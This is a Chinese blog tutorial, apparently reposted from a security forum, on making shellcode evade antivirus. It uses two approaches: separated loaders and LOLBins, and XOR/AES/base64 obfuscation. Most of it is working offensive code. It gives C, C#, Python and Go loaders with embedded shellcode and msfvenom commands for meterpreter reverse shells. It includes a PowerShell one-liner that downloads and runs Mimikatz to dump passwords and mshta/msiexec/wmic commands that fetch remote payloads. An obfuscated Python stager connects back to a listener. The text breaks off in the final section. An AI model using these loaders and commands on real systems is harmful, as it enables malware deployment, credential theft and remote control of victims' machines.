那些shellcode免杀总结
阅读原文时间:2022年02月22日阅读:20

首发先知: https://xz.aliyun.com/t/7170

自己还是想把一些shellcode免杀的技巧通过白话文、傻瓜式的文章把技巧讲清楚。希望更多和我一样web狗也能动手做到免杀的实现。

文中我将shellcode免杀技巧分为  "分离“、”混淆“两个大类,通过不同技巧针对不同检测方式,也就是常听到的特征检测、行为检测、云查杀。

个人能力有限,文中出现错误还请斧正、轻喷。

0x01 那些shellcode"分离"免杀

首先来看看关于shellcode常用得C/C++加载方式

常见方式比如函数指针执行、内联汇编指令、伪指令等方式。

但是这种shellcode明显 和执行程序在一起很容易被查杀

所以大多数分离免杀的思想就是把执行shellcode和加载程序分开。

来看看常见的分离加载 拿C++举例

正常使用像 VirtualAlloc 内存操作的函数执行shellcode :

#include "stdafx.h"
#include "windows.h"

using namespace std;
int main(int argc, char **argv)
{
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}

如果要把shellcode单独分离 我们可以通过其他当时获取到shellcode,而不是事先讲shellcode写死在程序中

举例:shellcode从文本提取或从远程下载获取。

这里就把shellcode通过http请求(使用winhttp api)获取赋值到内存缓存数组,动态分配内存执行shellcode:

#include "stdafx.h"
#include
#include
#include
#include
#pragma comment(lib,"winhttp.lib")
#pragma comment(lib,"user32.lib")
using namespace std;
void main()
{
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
LPSTR pszOutBuffer = NULL;
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
BOOL bResults = FALSE;
hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession)
{
hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT, 0);
}

if (hConnect)  
{  
    hRequest = WinHttpOpenRequest(hConnect, L"POST", L"qing.txt", L"HTTP/1.1", WINHTTP\_NO\_REFERER, WINHTTP\_DEFAULT\_ACCEPT\_TYPES, 0);  
}  
LPCWSTR header = L"Content-type: application/x-www-form-urlencoded/r/n";  
SIZE\_T len = lstrlenW(header);  
WinHttpAddRequestHeaders(hRequest, header, DWORD(len), WINHTTP\_ADDREQ\_FLAG\_ADD);  
if (hRequest)  
{  
    std::string data = "name=host&sign=xx11sad";  
    const void \*ss = (const char \*)data.c\_str();  
    bResults = WinHttpSendRequest(hRequest, 0, 0, const\_cast<void \*>(ss), data.length(), data.length(), 0);  
    ////bResults=WinHttpSendRequest(hRequest,WINHTTP\_NO\_ADDITIONAL\_HEADERS, 0,WINHTTP\_NO\_REQUEST\_DATA, 0, 0, 0 );  
}  
if (bResults)  
{  
    bResults = WinHttpReceiveResponse(hRequest, NULL);  
}  
if (bResults)  
{  
    do  
    {  
        // Check for available data.  
        dwSize = 0;  
        if (!WinHttpQueryDataAvailable(hRequest, &dwSize))  
        {  
            printf("Error %u in WinHttpQueryDataAvailable.\\n", GetLastError());

            break;  
        }

        if (!dwSize)  
            break;

        pszOutBuffer = new char\[dwSize + 1\];

        if (!pszOutBuffer)  
        {  
            printf("Out of memory\\n");  
            break;  
        }

        ZeroMemory(pszOutBuffer, dwSize + 1);

        if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))  
        {  
            printf("Error %u in WinHttpReadData.\\n", GetLastError());  
        }  
        else  
        {  
            printf("ok");  
        }  
        //char ShellCode\[1024\];  
        int code\_length = strlen(pszOutBuffer);  
        char\* ShellCode = (char\*)calloc(code\_length  /2 , sizeof(unsigned char));

        for (size\_t count = 0; count < code\_length / 2; count++){  
            sscanf(pszOutBuffer, "%2hhx", &ShellCode\[count\]);  
            pszOutBuffer += 2;  
        }  
        printf("%s", ShellCode);  
        //strcpy(ShellCode,pszOutBuffer);  
        void \*exec = VirtualAlloc(0, sizeof ShellCode, MEM\_COMMIT, PAGE\_EXECUTE\_READWRITE);  
        memcpy(exec, ShellCode, sizeof ShellCode);  
        ((void(\*)())exec)();  
        delete\[\] pszOutBuffer;  
        if (!dwDownloaded)  
            break;  
    } while (dwSize > 0);  
}  
if (hRequest) WinHttpCloseHandle(hRequest);  
if (hConnect) WinHttpCloseHandle(hConnect);  
if (hSession) WinHttpCloseHandle(hSession);  
system("pause");  

}

看下查杀情况: 去除shellcode后火绒已经不杀了

类似这种远程读取中还有很多 ,类如powershell内存加载,相信各位也没少用过

举例:powershell远程加载mimikatz读取密码

 powershell IEX (New-Object Net.WebClient).DownloadString('

https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz >>c:\1.txt

类似的还有很多,不过这种用得很多内存加载有些杀软还是拦的,怎么解决我们文后面再说。

其实到这里,用的最多的语言加载器的原理不用说也知道了,这里还是解释下加载器,引用我同事对加载器的解释:

shellcode就好比一杯水,加载器就是装水的杯子,水倒进了杯子才可以喝,shellcode被加载器装载后才可以执行。

ssi:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.142 LPORT=4444 -f c > msf.txt
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of c file: 1457 bytes
cat msf.txt|grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"

fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c77260789e8ffd0b89001000029c454506829806b00ffd56a0a68c0a8ae84680200115c89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8670000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d285868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c240f8570ffffffe99bffffff01c329c675c1c3bbf0b5a2566a0053ffd5

shellcode_launcher:

c#加载:

using System;
using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess
{
class Program
{
static void Main(string[] args)
{
// native function’s compiled code
// generated with metasploit
byte[] shellcode = new byte[333] {

        };  
        UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,  
        MEM\_COMMIT, PAGE\_EXECUTE\_READWRITE);  
        Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);  
        IntPtr hThread = IntPtr.Zero;  
        UInt32 threadId = 0;  
        // prepare data  
        IntPtr pinfo = IntPtr.Zero;  
        // execute native code  
        hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);  
        WaitForSingleObject(hThread, 0xFFFFFFFF);  
        }  
                private static UInt32 MEM\_COMMIT = 0x1000;  
        private static UInt32 PAGE\_EXECUTE\_READWRITE = 0x40;  
        \[DllImport("kernel32")\]  
                private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,  
        UInt32 size, UInt32 flAllocationType, UInt32 flProtect);  
        \[DllImport("kernel32")\]  
                private static extern bool VirtualFree(IntPtr lpAddress,  
        UInt32 dwSize, UInt32 dwFreeType);  
        \[DllImport("kernel32")\]  
                private static extern IntPtr CreateThread(  
        UInt32 lpThreadAttributes,  
        UInt32 dwStackSize,  
        UInt32 lpStartAddress,  
        IntPtr param,  
        UInt32 dwCreationFlags,  
        ref UInt32 lpThreadId  
        );  
        \[DllImport("kernel32")\]  
                private static extern bool CloseHandle(IntPtr handle);  
        \[DllImport("kernel32")\]  
                private static extern UInt32 WaitForSingleObject(  
        IntPtr hHandle,  
        UInt32 dwMilliseconds  
        );  
        \[DllImport("kernel32")\]  
                private static extern IntPtr GetModuleHandle(  
        string moduleName  
        );  
        \[DllImport("kernel32")\]  
                private static extern UInt32 GetProcAddress(  
        IntPtr hModule,  
        string procName  
        );  
        \[DllImport("kernel32")\]  
                private static extern UInt32 LoadLibrary(  
        string lpFileName  
        );  
        \[DllImport("kernel32")\]  
                private static extern UInt32 GetLastError();  
  }  

}

py加载:

import base64,sys;
import ctypes

whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
ctypes.windll.user32.ShowWindow(whnd, 0)
ctypes.windll.kernel32.CloseHandle(whnd)

exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4zMCcsODg4OCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))

go内联c加载:

package main

import "C"
import "unsafe"

func main() {
buf := ""
buf += "xddxc6xd9x74x24xf4x5fx33xc9xb8xb3x5ex2c"
…省略…
buf += "xc9xb1x97x31x47x1ax03x47x1ax83xc7x04xe2"
// at your call site, you can send the shellcode directly to the C
// function by converting it to a pointer of the correct type.
shellcode := []byte(buf)
C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
}

资源加载:

CPLResourceRunner

cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d '\n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt

用Cobalt Strike 生成shellcode

Attacks -> Packages -> Windows Executable (s) -> Output => RAW (x86)

py -2 ConvertShellcode.py beacon.bin
Shellcode written to shellcode.txt

0x4d,0x5a,0x41,0x52,0x55,0x48,0x89,0xe5,0x48,0x81,0xec,0x20,0x00,0x00,0x00,0x48,0x8d,0x1d,0xea,0xff,0xff,0xff,0x48,0x89,0xdf,0x48,0x81,0xc3,0x7c,0x79,0x01,0x00,0xff,0xd3,0x41,0xb8,0xf0,0xb5,0xa2,0x56,0x68,0x04,0x00,0x00,0x00,0x5a,0x48,0x89,0xf9,0xff,0xd0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0x00,0x00,0x00,0x0e,0x1f,0xba,0x0e,0x00,0xb4,0x09,0xcd,0x21,0xb8,0x01,0x4c,0xcd,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,0x6d,0x6f,0x64,0x65,0x2e,0x0d,0x0a,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc9,0xdb,0x6e,0xe9,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0xeb,0x54,0xd2,0xba,0x15,0xba,0x00,0xba,0x13

cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d 'n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt

H4sIAPGjM14AA/ONcgwK9eh86tH4RoGBgcGjV/bV////PTrvezQerqlkZPh/2XHHh62LwjJYgLJR
Hp0//19ggIEfQMwnv4uPYQvnWcUdjD5nFUMyMosVCory04sScxWSE/Py8ksUklIVikrzFDLzFFz8
gxVy81NS9Xi5VKBGnLyd97J3F8MuGH4dcmmXKJAWBgD9vO6hmAAAAA==

Compile to x86 and copy CPLResourceRunner.dll to RunMe.cpl

powershell加载(MMFml):

namespace mmfExeTwo
{
using System;
using System.IO.MemoryMappedFiles;
using System.Runtime.InteropServices;

class Program
{

   private delegate IntPtr NewDelegate();

   // To handle the location by applying the appropriate type  
   // We had to create a delegate to handle the the pointer to the location where we shim in the shellcode  
   // into the Memory Mapped File.  This allows the location of the opp code to be referenced later for execution  
   private unsafe static IntPtr GetShellMemAddr()  
   {  
       // 64bit shell code.  Tested on a win10 system.  Injects "cmd -k calc"  
       // was generated vanilla using "msfvenom -p windows/exec CMD="cmd /k calc" EXITFUNC=thread C -f powershell"  
       var shellcode = new byte\[\]  
           {  
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,  
                0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,  
                0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,  
                0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,  
                0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,  
                0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,  
                0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,  
                0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,  
                0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,  
                0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,  
                0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,  
                0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,  
                0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,  
                0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,  
                0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,  
                0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,  
                0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00  
           };

       MemoryMappedFile mmf = null;  
       MemoryMappedViewAccessor viewaccessor = null;

       try  
       {  
           /\* The try block creates the MMF and assigns the RWE permissions  
           The view accessor is created with matching permissions  
           the shell code from GetShellMemAddr is written to MMF  
           then the pointer is gained and a delegate is created to handle pointer value  
           so that it can be passed in therms of the returned function \*/

           mmf = MemoryMappedFile.CreateNew("\_\_shellcode", shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);  
           viewaccessor = mmf.CreateViewAccessor(0, shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);  
           viewaccessor.WriteArray(0, shellcode, 0, shellcode.Length);  
           var pointer = (byte\*)0;  
           viewaccessor.SafeMemoryMappedViewHandle.AcquirePointer(ref pointer);  
           var func = (NewDelegate)Marshal.GetDelegateForFunctionPointer(new IntPtr(pointer), typeof(NewDelegate));  
           return func();  
       }  
       catch  
       {  
           return IntPtr.Zero;  
       }  
       finally // You should always clean up after yourself :)  
       {  
           viewaccessor.Dispose();  
           mmf.Dispose();  
       }  
   }

   static void Main(string\[\] args)  
   {  
       GetShellMemAddr();  
   }  

}
}

msfvenom -p windows/x64/exec CMD="cmd.exe -c calc.exe" -f csharp

Invoke-MMFml

加载器就到这里吧,加载器的实现有能力可以自己造轮子,免杀效果非常不错的。

除了加载器这种"杯子和水"的分离的思想,个人认为还具有"分离"免杀思想的就是Lolbins,也就是白名单。

下面例举一些白利用,这种分离多半是因为杀行为特征,比如你这个程序运行上下文不应该访问某个api,这种就会被捕获,而白利用就是绕过这种行为捕获,而这种白利用中有的shellcode或执行文件还是会落地被查杀,这个文后部分会提到,先来看白利用。

LOLBins,全称“Living-Off-the-Land Binaries”,直白翻译为“生活在陆地上的二进制“,这个概念最初在2013年DerbyCon黑客大会由Christopher Campbell和Matt Graeber进行创造,最终Philip Goh提出了LOLBins这个概念。  说白了就是白利用 ,举个例子

DarkHydrus APT样本

MD5:B108412F1CDC0602D82D3E6B318DC634

使用到的启动命令:cscript.exe “C:\Users\Public\Documents\ OfficeUpdateService.vbs”

这里就用了cscript加载vbs 添加开机启动项,启动脚本。

mshta:

payload:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.134 LPORT=53 -f raw > shellcode.bin

cat shellcode.bin |base64 -w 0

mshta.exe http://192.168.174.134 /qing.hta

替换模板:

https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta

tshellcode替换位置:

Msiexec:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=4444 - f msi > qing.txt

C:\Windows\System32\msiexec.exe /q /i http://192.168.174.134 /qing.txt

加载dll:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=53 - f dll > qing.dll

msiexec /y C:\qing.dll

Msbuild:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe qing.xml

模板用三好师傅的:
https://github.com/3gstudent/msbuild-inline-task

Installutil

编译:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:qing.exe /keyfile:C:\Users\John\Desktop\installutil.snk /unsafe C:\Users\John\Desktop\installutil.cs

执行:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U qing.exe

详细:
https://www.blackhillsinfosec.com/how-to-bypass-application-whitelisting-av/

wmic:

wmic os get /FORMAT:"http://example.com/evil.xsl"

模板:
https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl

csc:

msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.174.132 LPORT=53 ‐ f csharp

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs

通过IInstallutil执行即可

白利用就不列举更多了,其他一些白利用也是一个道理,那么问题来了,前面说的白利用执行某些时候我们的shellcode生成的exe或者dll还是会落地,

虽然前面说的内存加载可以解决这个问题,那假设必须落地,怎么逃过各种检测呢?

这就是我归为免杀的第二个方式大类,混淆免杀。

0x02 那些shellcode"混淆"免杀

shellcode是否可以像php一句话那样混淆、加密、拆分呢

还是从最简单的举例子开始

xor异或加密shellcode后,申请内存执行,和文开头执行shell从的方式无区别

这里拿C# xor为例子(ShellcodeWrapper):

using System;
using System.IO;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;
using System.Runtime.InteropServices;

namespace RunShellCode
{
static class Program
{
//==============================================================================
// CRYPTO FUNCTIONS
//==============================================================================
private static T[] SubArray(this T[] data, int index, int length)
{
T[] result = new T[length];
Array.Copy(data, index, result, 0, length);
return result;
}

    private static byte\[\] xor(byte\[\] cipher, byte\[\] key) {  
        byte\[\] decrypted = new byte\[cipher.Length\];

        for(int i = 0; i < cipher.Length; i++) {  
            decrypted\[i\] = (byte) (cipher\[i\] ^ key\[i % key.Length\]);  
        }

        return decrypted;  
    }

    //--------------------------------------------------------------------------------------------------  
    // Decrypts the given a plaintext message byte array with a given 128 bits key  
    // Returns the unencrypted message  
    //--------------------------------------------------------------------------------------------------  
    private static byte\[\] aesDecrypt(byte\[\] cipher, byte\[\] key)  
    {  
        var IV = cipher.SubArray(0, 16);  
        var encryptedMessage = cipher.SubArray(16, cipher.Length - 16);

        // Create an AesManaged object with the specified key and IV.  
        using (AesManaged aes = new AesManaged())  
        {  
            aes.Padding = PaddingMode.PKCS7;  
            aes.KeySize = 128;  
            aes.Key = key;  
            aes.IV = IV;

            using (MemoryStream ms = new MemoryStream())  
            {  
                using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))  
                {  
                    cs.Write(encryptedMessage, 0, encryptedMessage.Length);  
                }

                return ms.ToArray();  
            }  
        }  
    }

    //==============================================================================  
    // MAIN FUNCTION  
    //==============================================================================  
    static void Main()  
    {  
        byte\[\] encryptedShellcode = new byte\[\] { 0x8d,0x81,0xec,0x67,0x71,0x69,0x0e,0xee,0x94,0x58,0xae,0x03,0xfa,0x39,0x5e,0xec,0x23,0x65,0xe5,0x35,0x65,0xe2,0x1c,0x4f,0x7e,0xde,0x24,0x41,0x40,0x96,0xc2,0x5b,0x10,0x15,0x6c,0x4b,0x51,0xa8,0xa1,0x6a,0x70,0xae,0x8c,0x95,0x23,0x3e,0xe5,0x35,0x61,0xe2,0x24,0x5b,0xfa,0x25,0x7f,0x1f,0x92,0x21,0x6f,0xb6,0x20,0xe2,0x37,0x47,0x70,0xba,0xe5,0x2e,0x69,0x8a,0x54,0x2e,0xfa,0x5d,0xe5,0x66,0xa7,0x58,0x91,0xcb,0xb0,0xa6,0x63,0x66,0xb6,0x51,0x8e,0x12,0x87,0x6a,0x13,0x9f,0x4a,0x14,0x4a,0x12,0x95,0x31,0xe5,0x3f,0x55,0x68,0xbd,0x01,0xfa,0x65,0x25,0xec,0x29,0x75,0x6f,0xb4,0xfa,0x6d,0xe5,0x66,0xa1,0xe0,0x2a,0x43,0x55,0x32,0x35,0x06,0x28,0x33,0x3f,0x98,0x91,0x36,0x31,0x3d,0xfa,0x7b,0x85,0xea,0x2c,0x01,0x5d,0x55,0x71,0x69,0x06,0x10,0x02,0x5b,0x31,0x33,0x19,0x25,0x19,0x41,0x76,0xe0,0x86,0x98,0xa1,0xd1,0xfe,0x66,0x71,0x69,0x47,0xa3,0x25,0x39,0x06,0x4e,0xf1,0x02,0x6e,0x98,0xa4,0x03,0x64,0x0f,0xb1,0xc1,0xc0,0xe9,0x19,0x6b,0x6e,0x76,0x2d,0xe0,0x88,0x37,0x21,0x39,0x3e,0x27,0x21,0x29,0x3e,0x0f,0x9b,0x66,0xb1,0x87,0x8e,0xbc,0xf9,0x0d,0x61,0x3f,0x39,0x0f,0xe8,0xcc,0x1a,0x06,0x8e,0xbc,0xeb,0xa7,0x05,0x63,0x91,0x29,0x79,0x1c,0x82,0x8f,0x16,0x69,0x6e,0x67,0x1b,0x69,0x04,0x63,0x27,0x3e,0x06,0x65,0xa8,0xa1,0x31,0x98,0xa4,0xea,0x96,0x67,0x0f,0x5f,0xe5,0x51,0x1b,0x29,0x06,0x67,0x61,0x69,0x6e,0x31,0x1b,0x69,0x06,0x3f,0xd5,0x3a,0x8b,0x98,0xa4,0xfa,0x3d,0x0d,0x71,0x3f,0x3d,0x30,0x19,0x6b,0xb7,0xaf,0x2e,0x96,0xbb,0xe4,0x89,0x69,0x13,0x4f,0x29,0x01,0x6e,0x27,0x71,0x69,0x04,0x67,0x21,0x01,0x65,0x48,0x7e,0x59,0x91,0xb2,0x26,0x01,0x1b,0x09,0x3c,0x08,0x91,0xb2,0x2f,0x37,0x91,0x6b,0x55,0x66,0xeb,0x17,0x8e,0x96,0x91,0x8e,0xea,0x96,0x91,0x98,0x70,0xaa,0x47,0xa1,0x04,0xa8,0xad,0xdc,0x81,0xdc,0xcc,0x31,0x1b,0x69,0x3d,0x98,0xa4 };  
        string key = "qing";  
        string cipherType = "xor";

        byte\[\] shellcode = null;

        //--------------------------------------------------------------  
        // Decrypt the shellcode  
        if (cipherType == "xor") {  
            shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key));  
        }  
        else if (cipherType == "aes") {  
            shellcode = aesDecrypt(encryptedShellcode, Convert.FromBase64String(key));  
        }

        //--------------------------------------------------------------  
        // Copy decrypted shellcode to memory  
        UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM\_COMMIT, PAGE\_EXECUTE\_READWRITE);  
        Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);  
        IntPtr hThread = IntPtr.Zero;  
        UInt32 threadId = 0;

        // Prepare data  
        IntPtr pinfo = IntPtr.Zero;

        // Invoke the shellcode  
        hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);  
        WaitForSingleObject(hThread, 0xFFFFFFFF);  
        return;  
    }

    private static UInt32 MEM\_COMMIT = 0x1000;  
    private static UInt32 PAGE\_EXECUTE\_READWRITE = 0x40;

    // The usual Win32 API trio functions: VirtualAlloc, CreateThread, WaitForSingleObject  
    \[DllImport("kernel32")\]  
    private static extern UInt32 VirtualAlloc(  
        UInt32 lpStartAddr,  
        UInt32 size,  
        UInt32 flAllocationType,  
        UInt32 flProtect  
    );

    \[DllImport("kernel32")\]  
    private static extern IntPtr CreateThread(  
        UInt32 lpThreadAttributes,  
        UInt32 dwStackSize,  
        UInt32 lpStartAddress,  
        IntPtr param,  
        UInt32 dwCreationFlags,  
        ref UInt32 lpThreadId  
    );

    \[DllImport("kernel32")\]  
    private static extern UInt32 WaitForSingleObject(  
        IntPtr hHandle,  
        UInt32 dwMilliseconds  
    );  
}  

}

其他语言也是一样,比如py 异或编码、base64、十六进制这些都是可以的

py Base64(k8gege):

import ctypes
import sys
import base64
#calc.exe
#REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA==
shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

py 十六进制(k8gege):

#scrun by k8gege
import ctypes
import sys
#calc.exe
